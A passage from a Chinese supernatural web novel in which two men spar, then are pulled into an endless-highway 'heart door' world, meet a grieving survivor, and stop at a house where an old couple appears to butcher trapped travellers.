车子驶入别墅区,直接开进了地下车库。 两人下了车,并没有上楼,肖靳言径直带着宿珩走向地下训练室。 灯光亮起,宽敞的训练室一览无余,正中央是一个标准的八角笼。 各自换好宽松的训练服,两人一前一后走进了八角笼内。 简单地活动了一下手脚,做了几个拉伸动作,算是热身。 宿珩眼神一凝,率先发起了进攻。 或许是心头压着事,他这次的攻势比以往都要凌厉几分,一记直拳快如闪电,直取肖靳言面门。 肖靳言嘴角噙着一抹淡淡的笑意,似乎早已料到他的攻势。 他身形微微一侧,轻松让开了宿珩的拳头,不紧不慢地评价:“速度不错,但力道散了。” 说话间,他手腕顺势一翻,反手一带,精准地扣住了宿珩的手腕。 宿珩手腕被制,却并不慌乱。 他另一只脚猛地抬起,带着风声,朝着肖靳言的小腹踢去。 “反应很快,但意图太明显。” 肖靳言另一只手快如闪电般探出,稳稳按住了宿珩的脚踝。 他手上微微用力,顺着宿珩前冲的力道,将人往地上一按。 宿珩只觉得一股巧力传来,身体重心顿时不稳,整个人向后倒去,被肖靳言按倒在柔软的垫子上。 肖靳言顺势欺身而上,双臂撑在宿珩身体两侧,将他牢牢钳制在身下,膝盖巧妙地压制住他发力的腿根。 他居高临下地看着宿珩,气息中带着一丝运动后的灼热。 他口中笑道:“今天状态不行啊你,这么快就被抓到破绽了。” 两人之间的距离骤然拉近,呼吸都仿佛交缠在一起。 宿珩仰躺着,额前几缕黑发被汗水微微打湿,贴在光洁的额头上。 他那双总是蒙着一层薄雾的眼眸,此刻清晰地映入肖靳言黑沉的眸底。 空气似乎凝滞了一瞬。 肖靳言正要开口再说些什么。 却忽然听到宿珩用那惯有的清冷声线,不带任何情绪起伏地问了一句。 “你是不是喜欢我?” 肖靳言脸上的笑容猛地一僵,整个人都愣住了,眼底深处掠过一丝根本来不及掩饰的错愕。 就是这个瞬间的失神。 宿珩眼神一闪,抓住机会,腰腹猛然发力,双腿一盘一带,竟硬生生将压在他身上的肖靳言掀翻在地。 他动作极快地从肖靳言身下脱离,翻身跳开,退到几步之外,活动了一下被钳制过的手腕和脚踝。 宿珩看着从地上爬起来,正下意识摸了摸鼻子的肖靳言,语气平静地说道:“你今天状态也差点意思,这么容易就分心了。” 肖靳言闻言,先是一怔,随即低低地笑了起来。 那笑声在空旷的训练室里显得格外清晰,带着几分无奈。 他默认宿珩刚才那句话,不过是故意学着他的口气打趣他,好让他分心罢了。 宿珩看着他脸上的笑容,却没有再说什么。 事实上。 他刚才那句话,并非全然是打趣。 而是另一种形式的“确认”。 他在确认—— 肖靳言,是不是正如群里的八卦所说。 现在看来,结果很显然。 他那个瞬间的僵硬和错愕,骗不了人。 更骗不了……宿珩。 肖靳言从地上爬起来。 他看着宿珩那张波澜不惊的脸,低沉的笑声从喉咙里溢出。 “想套路我?” 他挑眉,语气恢复了惯常的戏谑,“下次换个高明点的方式。” 宿珩没接话,只是平静地看着他。 那眼神太过清澈,仿佛能看透人心底最深处的想法。 肖靳言脸上的笑容微微收敛。 他迎上宿珩的目光,没有承认,也没有否认。 两人对峙了片刻,最终还是肖靳言先移开了视线。 他揉了揉手腕,重新摆出格斗的架势,催促宿珩:“再来!” 第78章 第 78 章 无尽公路2 三天后。 宿珩的个人账户里, 一笔来自京州街道清理办事处的款项悄然到账。 这次“梧桐路心门”事件的奖金,加上他这个月的基本工资,林林总总加起来, 竟有十八万之多。 对于一个还在上大二的学生而言,这无疑是一笔巨款。 宿珩看着短信上那一长串数字,神色没有太多波澜。 他熟练地操作着, 从中转出了五千块留作自己近期的生活费,剩下的十七万五千,则一分不差地, 悉数打进了他从小长大的那家福利院的公共账户。 福利院的孩子多, 日常开销庞杂, 这笔钱能让他们的生活宽裕不少。 事实上,前面几次心门任务获得的奖金, 他也都是以这样的方式,默默地捐给了福利院。 对他而言,这些钱与其用在自己身上,不如用在更需要它们的地方。 又过了半个月, 时已入六月下旬。 京州大学大二下学期的期末考试周, 在学生们紧张而忙碌的复习与应考中, 终于落下了帷幕。 这天晚上, 依旧是雷打不动的训练日。 训练结束后,肖靳言开着那辆黑色越野车送宿珩回京州大学。 夜风习习, 车窗半降,吹散了训练后的一身薄汗。 车子平稳地行驶在返回学校的路上, 宿珩靠着椅背,微阖着眼眸假寐。 就在这时,他放在口袋里的手机, 毫无预兆地振动起来,屏幕随之亮起。 宿珩睁开眼,拿起手机看了一眼来电显示—— 是院长阿姨。 他按下接听键,声音不自觉地放缓了些:“喂,徐阿姨。” 电话那头传来一道温和慈祥的女声:“小珩啊,期末考试结束了吧?暑假要开始啦,今年……有时间回院里看看吗?孩子们都念叨你呢。” 宿珩唇角牵起一抹极淡的弧度,几乎是立刻应了下来:“嗯,有时间,我过两天就回去。” 电话那头的院长阿姨闻言,语气里透着明显的欣喜。 “哎,那太好了!我提前让厨房给你们多准备些好吃森*晚*整*理的!” 又简单聊了几句院里的近况,宿珩才挂断了电话。 他放下手机,刚准备打开购票软件看看回津市的车票,身旁开车的肖靳言忽然开口问道:“福利院在哪儿?” 他刚才虽然专心开车,但宿珩打电话的内容,也断断续续听了个大概。 宿珩偏头看向他,淡淡道:“隔壁津市。” “津市啊……” 肖靳言若有所思地摩挲着下巴,语气轻松地说道:“也不算远,到时候我送你过去得了。” 实际上,自从上次在地窖里,听到宿珩说出“我是孤儿”那三个字后,肖靳言心里就一直惦记着。 他很想去看看,宿珩从小长大的地方,究竟是什么样子的。 宿珩闻言,却是下意识地拒绝:“不用了,我自己坐车回去就行,不麻烦你了。” 他不太习惯过多地麻烦别人。 肖靳言却挑了挑眉,态度带着几分不容置喙的坚持。 “没什么麻烦的,我最近手头上的事情处理得差不多了,清理办那边有文玉燕和闫知许他们,出不了什么乱子。” “我正好闲着也是闲着,送你走一趟,就当是出去散散心,没什么麻烦的。” 他话都说到这份上了,宿珩见他神色认真,不像是在开玩笑,沉吟片刻,便没再坚持。 “……好。” 第二天一早,宿珩简单收拾了一个行李箱。 上午九点多,他拉着行李箱走到京州大学南校门口时,那辆熟悉的黑色越野车已经等在了路边。 肖靳言今天没穿往常那身行动方便的黑色冲锋衣,而是换上了一套偏休闲的深灰色运动套装,衬得他肩宽腿长,身形愈发挺拔。 他斜倚在车门上,头上戴着一顶白色棒球帽,阳光落在他硬朗的侧脸上,勾勒出几分难得的闲适。 看见宿珩拉着行李箱过来,肖靳言直起身,主动上前,十分自然地从他手里接过了行李箱的拉杆。 “给我吧。” 他单手轻松拎起箱子,打开后备箱放了进去。 两人先后上了车。 肖靳言熟练地在车载导航上设置好津市福利院的地址,看了一眼预估时间。 “三个多小时,不算太堵的话,中午就能到。” 他一边说着,一边发动了车子。 黑色越野车平稳地驶离校门口,汇入城市逐渐繁忙的车流。 一路向北,车子很快驶上了高速。 窗外的景物飞速倒退,车内安静舒适。 大约两个半小时后,越野车驶离高速,进入津市地界,转上了一条国道。 导航显示,沿着这条国道G214再开四十多分钟,就能抵达目的地。 这条国道似乎有些年头了,路面虽然还算平整,但两旁的人烟却逐渐稀少起来。 道路一侧,甚至还能看到一条锈迹斑斑的铁路线,与国道并行着向前延伸,望不见尽头。 车辆行驶在略显空旷的国道上。 当车子路过一块写着“G214”的蓝色路牌时,一直闭目养神的宿珩,眉头倏地轻轻一蹙。 几乎是同一时间。 一股若有似无的,令人心悸的负面情绪,如同潮湿的蛛网般,悄无声息地缠绕上来。 宿珩那对危险和恶意极其敏锐的特殊体质,再次起了作用。 他猛地睁开双眼,眸色微沉。 透过车窗,他看到路边停了好些辆车,分布国道两边,有新有旧。 驾驶座上的肖靳言几乎是立刻察觉到了宿珩的异样,以及这些无人车辆的诡异出现。 他脸色倏然一变,握着方向盘的手指下意识收紧。 他完全没想到。 会在这种地方,以这种方式……居然出现了一扇心门! 下一瞬。 一股强烈的眩晕感袭来,伴随着空间被强行扭曲的拉扯力。 黑色越野车内的两个人影,凭空消失。 国道G214的路边,只留下一辆引擎熄火的黑色越野车,静静地停在那些无人车辆的旁边。 仿佛它的主人,和那些司机一样,只是暂时离开片刻。 周遭,只有风吹过路边野草时,发出的沙沙声响。 …… 强烈的眩晕感褪去后,周遭的景物骤然清晰。 宿珩和肖靳言发现自己站在一条笔直宽阔的柏油公路上,地面被晒得发烫,空气扭曲。 公路向着前方无限延伸,一眼望不到尽头。 他们开来的黑色越野车,以及国道旁那些无人车辆,全都不见了踪影。 公路两旁,是浓得化不开的灰白色雾气,翻涌着,像是某种活物在呼吸。 以肖靳言的目力,也仅仅能看清雾气边缘五米左右的范围。 头顶,一轮巨大得有些不成比例的烈日高悬,散发着炙烤一切的热量。 阳光毒辣刺眼,公路上空旷一片,找不到任何可以遮蔽的地方,连一棵树都没有。 宿珩微微眯起眼,刺目的光线让他眼眶泛起生理性的酸涩。 他刚抬手,还没来得及挡在额前,一顶带着温度的白色棒球帽从天而降,反手扣在了他脑袋上。 帽檐压得有些低,视野顿时暗了下来,灼人的阳光被隔绝在外。 宿珩动作一顿,抬眸看向身边的人。 肖靳言刚摘下帽子,头发有些凌乱,硬朗的五官完全暴露在毒日头下,他却毫不在意,只迅速扫视一圈。 接着对宿珩道:“你在这儿别动,我去那边看看。” 说完,他便迈开长腿,毫不犹豫地踏入了公路边缘的灰雾。 那高大的身影几乎是瞬间就被浓雾吞噬。 宿珩站在原地,看着他消失的方向。 不过几秒钟。 雾气里就传来肖靳言一声骂。 声音不高,带着极度的不耐烦和嫌恶,像是被什么东西惹毛了。 紧接着,他的身影便迅速从灰雾中退了出来,眉头紧锁。 “看见什么了?” 宿珩开口问道,声音在炙热的空气中显得有些干涩。 肖靳言摇了摇头,脸上带着一丝凝重:“一些上不了台面的恶心玩意儿。” 他顿了顿,继续解释道:“只要往里走深一点,那些东西就会从雾里钻出来偷袭。” “但只要退回到公路上,它们就不会追过来。应该是这心门的规则限制,不想让人离开这条路。” 宿珩闻言,抬眼望向那条在烈日下泛着白光,仿佛没有尽头的笔直公路。 “那只有继续往前走了。” 他顶着帽子,率先迈出了第一步。 肖靳言瞥了一眼公路两旁灰雾中偶尔闪过的模糊黑影,眼神沉了沉,快步跟了上去。 两人一前一后,沉默地走在空旷的公路上。 头顶的烈日无情炙烤,脚下的柏油路面几乎要被晒化。 他们接连走了大半个小时。 按照正常的脚程估算,至少行进了三四公里远。 就在这时,走在前面的宿珩脚步猛地一顿。 他瞳孔微缩,视线死死地盯在公路边一处不起眼的所在。 那里,有一滩已经干涸发黑的血迹,旁边散落着几片破烂不堪的衣物碎片。 在血迹和衣物之间,还有一些被啃食撕咬过的碎肉和骨头渣滓,已经分不清属于哪个部位。 肖靳言几步上前,看到那摊血肉模糊的痕迹,脸色也沉了下去。 他蹲下身,仔细查看那些碎肉和骨头上被啃咬的痕迹,眉头皱得更紧。 联想到国道旁那些数量不少的无人车辆,肖靳言心中已然明了。 卷入这扇心门的人,绝对不在少数。 而眼前这摊触目惊心的残骸,从某种意义上来说,这是他们在这扇心门里,遇到的第一个“人”。 “看来,已经有人遭到毒手了。” 肖靳言站起身,拍了拍手上的灰尘,语气沉凝:“走吧。” 两人继续往前走。 头顶的烈日依旧灼人,没有丝毫减弱的迹象。 两人身上都冒出了细密的汗珠。 宿珩因为戴着帽子,情况稍好一些,只是额角和脖颈被汗水浸湿。 而肖靳言身上那件衬衣早已被汗水彻底打湿,紧紧贴在身上,勾勒出他肩背和小臂结实流畅的肌肉线条。 宿珩察觉到他的状况,伸手摘下头上的帽子,准备还给肖靳言。 “你戴着吧。” 肖靳言却摆了摆手,拒绝了他的好意。 他侧过头,看着宿珩被汗水濡湿的鬓角和略显苍白的脸,嘴角忽然向上挑了挑,竟还有闲心调笑一句。 “你长得白,这太阳太毒,晒黑了可就亏了。” 说着,他还故意抬起手臂,亮了亮自己那因为常年锻炼而呈现出健康古铜色的肌肉,语气带着几分自得。 “不像我,皮糙肉厚的,不怕晒。” 宿珩面无表情地看着他,默默地将帽子重新扣回头上,帽檐压得更低了些,眉眼都笼罩在了一片阴影之中。 他看着那条依旧看不到尽头的公路,声音有些沙哑地开口:“没有水,我们坚持不了太久。” 在这样的烈日暴晒下,持续行走,水分流失极快,脱水是迟早的事情。 肖靳言“嗯”了一声,抬手遮在额前,眯眼看向天空中那轮大得有些诡异的太阳。 “天无绝人之路。” 他语气倒是听不出多少担忧。 “沿路到现在,只看到一具尸体,至少证明,前面还有人活着。” 肖靳言这话,并非无的放矢的安慰。 心门世界无论多么诡谲凶险,只要没有外力干涉,比如“筑梦人”。 其核心规则总会遵循某种扭曲的内在逻辑。 往往不会将人直接逼入死路。 它源于绝望,却也往往会在极致的绝望中,留下一线看似渺茫,却足以让人挣扎求存的生机。 两人没有在原地过多停留,顶着那轮仿佛永远不会落下的烈日,继续沿着笔直的公路往前走。 时间的概念,在单调的行走中变得模糊。 不知又走了多久。 汗水早已将两人的衣衫彻底浸透,紧紧黏在皮肤上,带来一种湿腻的束缚感。 嘴唇因为极度缺水而变得干裂,每一次呼吸,都像在吸入一团灼热的火焰。 就在宿珩感觉眼前景物都开始因为酷热,而微微扭曲时。 前方原本空无一物的公路上,一个摇曳的人影,从蒸腾的热浪中缓缓浮现。 那人影似乎也察觉到了身后有人,迟疑地停下了脚步,站在原地没再移动。 “有人?” 肖靳言抬手抹了把脸上的汗。 宿珩没有应声,两人默契地交换了一个眼神,不约而同地加快了步伐。 随着距离的拉近,那人影的轮廓,在扭曲的空气中逐渐清晰起来。 那是一个看起来相当年轻的男生。 身材纤瘦,面容清秀。 此刻却像一株被暴晒到脱水的植物。 他穿着一件简单的短袖T恤,头上胡乱盖着一件灰色的薄外套,试图以此来抵挡头顶毒辣的阳光。 即便如此,他裸露在外的胳膊和脸颊皮肤,依旧被晒得通红发亮,甚至有些地方已经开始脱皮。 整个人更像是刚从水里捞出来似的。 浑身上下都被汗水浸透,几缕湿透的额发黏在泛红的额角,显得有些狼狈。 看到宿珩和肖靳言走近。 那男生原本黯淡无光的眼睛里,骤然迸发出一丝希冀的光芒。 他踉跄着迎上两步,张了张干裂起皮的嘴唇,发出的声音沙哑得,像是被砂纸狠狠磨过。 “水……你们有水喝吗?” 宿珩看着他几乎快要冒烟的嗓子,和那双死死盯着他们的眼睛,轻轻摇了摇头。 “我们也没有水。” 男生眼中的光芒瞬间熄灭,取而代之的是一片死寂的灰败。 他像是被抽走了所有力气,肩膀无力地垮了下来。 肖靳言打量着他,目光不着痕迹地扫过公路两旁翻涌的灰雾,开口的声线因缺水而显得有些低沉。 “你在这条路上走了多久了?” 男生似乎还沉浸在没有水的绝望中,过了好几秒,才迟钝地抬起头。 他有气无力地回答:“我……我已经走了快四个小时了。” 他抬起头,茫然环顾这条仿佛复制粘贴,永远没有尽头的公路,语气中带着濒临崩溃的颤音。 “这破地方到底是怎么回事?” “怎么走都走不到头……” 公路两旁的灰雾中,不时有“沙沙”的声响飞快掠过。 男生像是被那声音刺激,想起了什么极为可怕的事情。 他眼神惊惧地瞥向公路两旁翻涌的灰雾,声音不受控制地颤抖起来。 “你们……你们千万别进去……别去那个雾里……” 肖靳言观察着他剧烈的应激反应,追问道:“怎么了?” 男生抿紧了干裂的嘴唇,恐惧让他浑身发抖,过了半晌,才愿意继续说下去。 “我……是和我男朋友一起开车出来自驾游的……” “本来高高兴兴的,没想到刚下了高速,就被拉到这个鬼地方来了!” “我们走了差不多两个小时,还是这条破路,什么都没有……” 男生的眼圈渐渐红了,声音也带上了无法抑制的哽咽。 “我男朋友他……他受不了了,他说不能再这么走下去,他说……从路边的雾里绕过去,说不定能找到出口。” “我不让他去,可他根本不听,直接就冲了进去……” “然后……然后我就听到他发出一声特别凄厉的惊叫……” 男生说到这里,再也控制不住。 豆大的泪珠顺着他通红的脸颊滚落下来,在滚烫的皮肤上留下一道道湿痕。 “我吓坏了,拼命喊他,没过一会儿,他就从雾里跌跌撞撞地跑了回来。” “可是……可是他身上全是血,好多好深的口子,像是被什么东西撕咬过一样……” “他说雾里面有怪物,很多……很多的怪物……” 男生抽泣着,几乎说不下去。 “他让我快跑,别管他。” “可我怎么能不管他……结果,那些怪物……那些怪物追了出来,就在我眼前,把他……把他活活……” 他再也说不下去,那个血腥的词语卡在喉咙里,变成了野兽般的呜咽。 “我什么都没有了……只剩下……只剩下他这件外套了……” 男生终于彻底崩溃。 他蹲在地上,将那件盖在头顶的外套死死抱在怀里,脸埋进去,失声痛哭。 那哭声绝望又凄厉,混杂着无尽的悔恨与恐惧,回荡在空旷炙热的公路上. 让人闻之鼻酸。 宿珩看着他因剧烈悲恸而颤抖的脊背,又联想到之前在路边看到的那摊,早已无法辨认的血肉残骸. 心中也不禁生出几分无法言说的沉重。 他蹲下身,没有去拍男生的肩膀,只是将自己的身影挡在了他和太阳之间,投下一小片阴影。 他的声音很平静,甚至带着一丝异样的冷硬,像一块冰,砸在滚烫的空气里。 “别哭了,现在哭解决不了任何问题。” “你男朋友拼了命让你走,不是为了让你在这里哭到脱水,变成下一具路边的尸体。” “我想……他更希望看到你活下去。” 第79章 第 79 章 无尽公路3 男生埋在那件满是汗水和泪水的外套里, 身体剧烈地抽搐着。 宿珩的声音不高,却像一根冰冷的针,刺破了他沉浸的绝望。 过了许久。 那压抑的哭声才渐渐低了下去, 变成了断断续续的哽咽。 他缓缓抬起头,通红的眼睛里布满了血丝,嘴唇干裂得几乎要渗出血珠。 他看着蹲在自己面前, 为他挡住一片毒辣阳光的宿珩,声音沙哑得不成样子。 “我……我叫乐康。” 宿珩平静地回视着他:“宿珩。” 他身后的肖靳言也适时开口,声音带着一丝烈日下的沙哑:“肖靳言。” 乐康用那件外套胡乱擦了擦脸上的泪痕和汗水, 视线在两人脸上转了一圈, 最终点了点头, 声音依旧哽咽。 “谢谢你们……” 宿珩站起身,帽檐下的目光依旧清冷:“先简单休息一下, 恢复点体力再继续走。” 肖靳言对此没有异议。 三人干脆就蹲在公路上,原地休息。 乐康把那件外套重新盖在头上,眼神空洞地望着前方没有尽头的公路。 肖靳言的目光,却时不时落在宿珩身上。 宿珩的脸色比平时更苍白一些, 额前的碎发被汗水濡湿, 紧贴在皮肤上, 嘴唇肉眼可见地发干。 走了这么长时间, 顶着这样的烈日,饶是以肖靳言的体能, 也感到了一丝疲惫。 但宿珩整个人的状态,却远比他预想的要好得多。 那双清冷的眼眸里, 甚至看不出太多的疲态,只有一种习以为常的沉静。 这家伙的耐力,比他表现出来的要强韧不少。 短暂的休整后, 三人重新上路。 太阳依旧高悬,空气中的热浪滚滚。 又往前强撑着走了小半个小时。 乐康的状态明显越来越差,他的脚步虚浮,身体摇摇晃晃,好几次都差点摔倒。 汗水模糊了他的视线,喉咙里像是有一团火在烧,每呼吸一次都带着灼痛。 就在他眼前一黑,身体不受控制地向前栽倒时,一只手及时托住了他的胳膊。 “前面有房子。” 宿珩清冷的声音,如同在酷暑中注入的一丝冰泉,让乐康混沌的意识清醒了几分。 他勉强睁开沉重的眼皮,顺着宿珩的目光向前望去。 在蒸腾的热浪中,远处公路的一侧,隐约出现了一个模糊的黑色影子,像是一栋建筑。 “房子?” 乐康的声音干涩得如同砂纸摩擦,“不……不会是海市蜃楼吧?” 这条路太诡异了,他实在不敢抱有太大的希望。 宿珩摇了摇头,语气笃定:“不会。” 他顿了顿,补充道:“真要那样,没人能坚持下去。” 这心门总要给人留一线生机,否则就失去了折磨人的乐趣。 乐康被他这句带着几分冷酷逻辑的话,反而激起了一丝求生的欲望。 他咬了咬牙,努力挺直了几乎要散架的身体,在宿珩的搀扶下,深一脚浅一脚地朝着那片黑影挪动。 随着距离的拉近,那黑影逐渐清晰。 果然是一栋房子。 一栋看起来颇为老旧的两层小楼,孤零零地坐落在公路边。 墙体斑驳,门窗紧闭,透着一股死寂。 诡异的是—— 公路两旁那些不断翻涌的灰白色浓雾,在靠近这栋小楼时,像是遇到了什么无形的屏障,刻意地向两边避开,在小楼周围留下了一片相对清晰的空地。 乐康看着那栋被灰雾“隔绝”出来的小楼,眼中刚刚燃起的一点希望,又被浓浓的恐惧所取代。 他想起了自己男朋友冲入灰雾后的惨状,声音不由自主地颤抖起来。 “这……这里面……会不会也有怪物?” 他不敢轻易靠近。 宿珩的目光落在小楼紧闭的门窗上,没有说话。 肖靳言打量着那栋小楼,忽然迈开长腿,径直朝着门口走去。 “咚咚咚。” 他抬手,叩响了那扇看起来有些年头的木门。 敲门声在寂静的公路上显得格外清晰。 乐康紧张地屏住了呼吸,下意识地抓紧了宿珩的胳膊。 门内一片死寂,没有任何回应。 肖靳言挑了挑眉,正准备再次敲门。 “吱呀——” 一声刺耳的摩擦声响起,木门被从里面拉开了一条门缝。 一只浑浊而警惕的眼睛,从门缝里向外张望。 紧接着,门缝又拉开了一些,露出一张布满皱纹、黑瘦干枯的脸。 是个老头。 他头发稀疏花白,穿着一件洗得发白的旧汗衫,眼神里充满了戒备和审视。 老头的目光在门外的肖靳言、宿珩和乐康三人身上来回扫过,沙哑地开口问道:“新来的?” 这三个字明显表明有其他人路过此地,他们并不是第一个。 肖靳言脸上露出一抹尽量显得和善的笑容,声音因为缺水而略显低沉。 “是的,大爷。” “我们走了很久,实在太渴了,您家里有水吗?想跟您讨口水喝。” 老头浑浊的眼珠转了转,又打量了他们几眼,似乎在评估什么。 片刻后,他拉开了门,侧过身:“进来吧。” 肖靳言率先迈步走了进去。 他目光快速扫过屋内,见没有什么明显的异样,才朝门外的宿珩和乐康递了个眼色。 宿珩会意,这才扶着几乎站立不稳的乐康,跟着走了进去。 刚一踏入屋内,公路上那股令人窒息的酷热瞬间消散得无影无踪。 一股阴凉舒爽的感觉扑面而来,仿佛从盛夏的蒸笼,一下子跳进了空调房。 乐康紧绷的神经骤然松懈,双腿一软,几乎是立刻瘫坐在了冰凉的水泥地上,大口大口地喘着粗气。 他感觉自己像是重新活了过来。 宿珩却在踏入房门的瞬间,几不可察地皱了皱鼻子。 空气中,除了那股驱散酷热的阴凉,他还敏锐地闻到了一缕极淡的,若有似无的血腥味。 肖靳言显然也察觉到了。 他不动声色地打量着屋内的陈设。 这是一间典型的农村自建房的堂屋,摆设简单陈旧,光线有些昏暗。 老头看着瘫坐在地上的乐康,又看了看站着的肖靳言和宿珩,慢吞吞地说道:“水倒是有,不过不多。” 他顿了顿,浑浊的眼里闪过一丝精明的光。 “要喝可以,得拿钱,或者别的东西来换。” 肖靳言一直以来,都有随身携带钱包的习惯,以备各种不时之需。 他闻言,伸手从裤兜里掏出一个黑色皮夹。 “没问题,怎么收费?” 老头看到肖靳言手中的钱包,原本半眯着的眼睛,瞬间亮了起来,眼巴巴地盯着。 他伸出一根干瘦的手指。 随即像是想到了什么,立马又多伸出了两根手指,变成了三根。 “你们三个人,三百。” 老头舔了舔嘴唇,语气中满是贪婪。 这分明是趁火打劫,坐地起价。 肖靳言的目光在他那三根手指上停顿了一瞬,却并未多说什么。 他从钱包里抽出三张一百元的纸币,递给了老头。 老头一把抓过钱,仔细看了看真伪,这才美滋滋地将钱揣进了汗衫的口袋里。 他咧着嘴,挤出一个难看的笑容。 “你们等着,我去给你们打水。” 说完,他便转身朝着堂屋右手边的一道布帘走去。 掀开帘子,里面似乎是一个类似厨房的地方。 隐约能听到他拿起水瓢,在水缸里舀水的声音。 肖靳言将钱包重新塞回裤兜,眼神却不着痕迹地在屋内逡巡。 就在这时,他注意到宿珩的目光,正投向堂屋左后方的一扇半掩着的木门。 宿珩抬脚,默默地朝着那扇后门走了几步。 肖靳言立刻跟了上去。 那扇木门并没有关严,留着一道约莫肩膀宽的缝隙。 从缝隙向外望去,门外似乎是一个小小的后院。 就在门边的阴影下,放着一张老旧的竹椅。 一个同样黑瘦干瘪的老太太,正背对着他们坐在竹椅上。 她佝偻着背,手里拿着一把明晃晃的尖刀,正专注地低头忙碌着。 “咔嚓,咔嚓。” 细微的,骨肉分离的声音,从老太太的方向传来。 宿珩的目光凝住了。 他看到老太太正用那把尖刀,费力地从一块血淋淋的,不知道是什么东西的骨头上,往下剔刮着残存的肉丝。 那骨头上的肉已经被剔得差不多了,只剩下一些紧贴着骨膜的碎肉和筋络。 即便如此,依旧有暗红色的血珠,顺着骨头往下滴落,在老太太脚边的地面上,汇聚成一小滩黏稠的暗色。 在她脚边,还有一个黄色麻袋,里面鼓鼓囊囊的,像装着什么东西。 似乎是察觉到门口有人。 那老太太剔肉的动作一顿,缓缓地,僵硬地转过头来。 她脸上同样布满了深刻的皱纹,双眼深陷,嘴角却向上咧开,露出一个诡异的笑容,牙齿黄黑参差。 老太太举起手中那根几乎被剔刮干净的骨头,朝着门口的肖靳言和宿珩晃了晃,声音嘶哑难听,像是夜枭的啼叫。 “后生……要留下来喝碗肉汤吗?” 老太太的话,如同裹着冰渣的寒风,吹得人脊背发凉。 宿珩的瞳孔不禁微微一缩。 视线从那根剔得只剩惨白骨茬,还挂着血色筋络的骨头上,缓缓下移。 最终,定格在老太太脚边的黄色麻袋上。 麻袋的轮廓很不规整,但从长度和凸起的形状判断。 宿珩并不觉得那里面会是什么好东西。 就在这时—— 堂屋右手边的布帘被掀开。 黑瘦老头端着一个积满陈年油垢的木托盘走了出来。 托盘上放着三只粗瓷碗,碗里盛着大半碗水。 他先走到瘫坐在地上的乐康面前,将其中一碗水递了过去,咧开嘴,露出一个令人极不舒服的笑容。 “喝吧。” 乐康此刻早已渴得眼冒金星。 他颤抖着手接过水碗,根本来不及多想,也顾不上水干不干净,仰头便“咕噜咕噜”地将一碗水尽数灌了下去。 冰凉的液体滑过干涸灼痛的喉咙,让他发出了一声满足的喟叹,苍白的脸上总算恢复了一丝血色。 老头又将另外两碗水,分别递给宿珩和肖靳言。 宿珩接过水碗,却没有立刻喝。 他将碗凑到鼻端,轻轻嗅了嗅。 除了水本身略带的一点腥气,倒并没有什么其他的异味。 他抬眼看向肖靳言,后者正端着碗,用指尖若无其事地在碗沿上轻轻摩挲。 两人视线交汇一瞬,都明白了对方的意思。 水没问题。 宿珩这才慢慢喝了几口。 清凉的水滋润着干裂的嘴唇和喉咙,身体因极度缺水而产生的焦灼感,总算缓解了一些。 肖靳言接过水碗,却没有像宿珩那样站在原地。 他端着碗,径直朝着堂屋左后方,那扇半掩的木门走了过去。 他抬脚,用脚尖轻轻拨开了那扇虚掩的木门,门“吱呀”一声,敞开得更大了些。 肖靳言就这么闲闲地倚在门框上,目光落在老太太身上,语气像是跟邻家阿婆拉家常,透着一股自来熟的味道。 “阿婆,你们这伙食可以啊,还有肉吃呢?” 那老太太闻声,剔刮骨头的动作一顿。 她缓缓抬起头,咧开嘴,露出一个黄黑的牙。 “也不是天天都有,只有特定的日子,才有肉吃。” “哦?” 肖靳言挑了挑眉,似乎来了兴趣,端着水碗抿了一口,状似随意地问: “今天是什么好日子?瞧我这记性,把日子都过糊涂了。” 老太太脸上的笑容更深了些,眼角的皱纹堆叠在一起。 她用那把明晃晃的尖刀,指了指脚边沉甸甸的麻袋。 “当然是……逢年过节了。” 说完,她便不再理会肖靳言,低下头,继续用刀费力地在那根骨头上刮擦着。 仿佛要将骨头缝里的最后一丝肉末都刮下来。 肖靳言勉强听见她嘴里嘟囔着什么“再攒攒就够药钱了”、“指望那不成器的家伙,还不如指望自己”之类的话。 “咔嚓——咔嚓——” 尖刀刮过骨头的声音,在安静的后院里显得格外清晰。 肖靳言站在门口,借着喝水的动作,目光飞快地扫了一眼老太太脚边的麻袋。 里面装的。 大概率是“人”。 想到这里,肖靳言的眼神微微一沉。 他现在大概明白了,之前那老头说“拿别的东西来换”是什么意思了。 在这个人人几乎手机不离身的时代。 如果身上没有带足够的现金。 又或者,当现金不足以满足这对老夫妻的胃口时,他们想让那些被困在这里的人“换”的东西。 恐怕……就不是那么简单了。 三人喝完了水,肖靳言和宿珩都没有立刻提出要走的意思。 乐康也因为刚刚补充了水分,精神稍微好了一些,不再像之前那样濒临崩溃。 他靠着墙壁,眼神有些空洞地看着地面,不知道在想些什么。 然而,这份短暂的平静并没有持续太久。 那个黑瘦老头,端着空托盘,踱着步子走到堂屋中央。 他浑浊的目光在三人身上扫过,最后停留在乐康身上,嘴角咧开一个意味不明的笑容。 “你们还年轻,年轻人啊,就该多出去闯闯,总待在家里算什么本事。” 这话里,明显带着一丝催促和驱赶的意味。 乐康闻言,身体不受控制地瑟缩了一下。 他现在对外面那条没有尽头的公路,和毒辣的太阳,充满了恐惧,实在不想再回到那种绝望的境地。 他鼓起勇气,看向老头,声音带着一丝恳求。 “大爷,我……我能不能在这里多待一会儿?我……我实在是走不动了。” 老头像是在打量一件货物般,上下打量着乐康,眼神中闪烁着一种令人毛骨悚然的贪婪光芒。 他伸出舌头,舔了舔干裂的嘴唇,慢悠悠地说道:“待着倒是可以啊。” 他顿了顿,语气陡然一转,带着一丝阴冷的笑意。 “不过嘛,老规矩,得拿东西来换。” 乐康被他那如同毒蛇般的眼神盯得浑身一激灵,一股寒意从脚底直冲天灵盖。 他哪里还敢再提多待一会儿的话。 几乎是手脚并用地从地上爬了起来,不敢再说半个字。 宿珩却将老森*晚*整*理头刚才那句话,默默记在了心里。 他总觉得这句话里。 似乎隐藏着什么更深层次的含义。 或许与这扇心门的规则有关。 但眼下线索太少,一时半会儿也想不出个所以然来。 好在这短暂的休整,加上补充了水分,三人的体力都恢复了一些。 临走前,肖靳言又从钱包里掏出三百块钱,递给那个老头。 “大爷,麻烦您用瓶子给我们装三瓶水带走,钱照付。” 这条路上不知道下一个落脚点在哪里,多备些水总是没错的。 老头看到钱,脸上的皱纹都笑开了花,连声应道:“哎,好说,好说!” 他接过钱,动作麻利地转身进了后面的厨房。 很快便找了三个不知道从哪里搜罗来的旧塑料瓶,装满了水递给他们。 那副见钱眼开,喜笑颜开的模样。 倒让宿珩不自觉地想起了之前在第二扇心门里,遇到的那个同样贪财的老太太。 人性中的某些共通之处,在这些扭曲的心门世界里,似乎总是被无限放大。 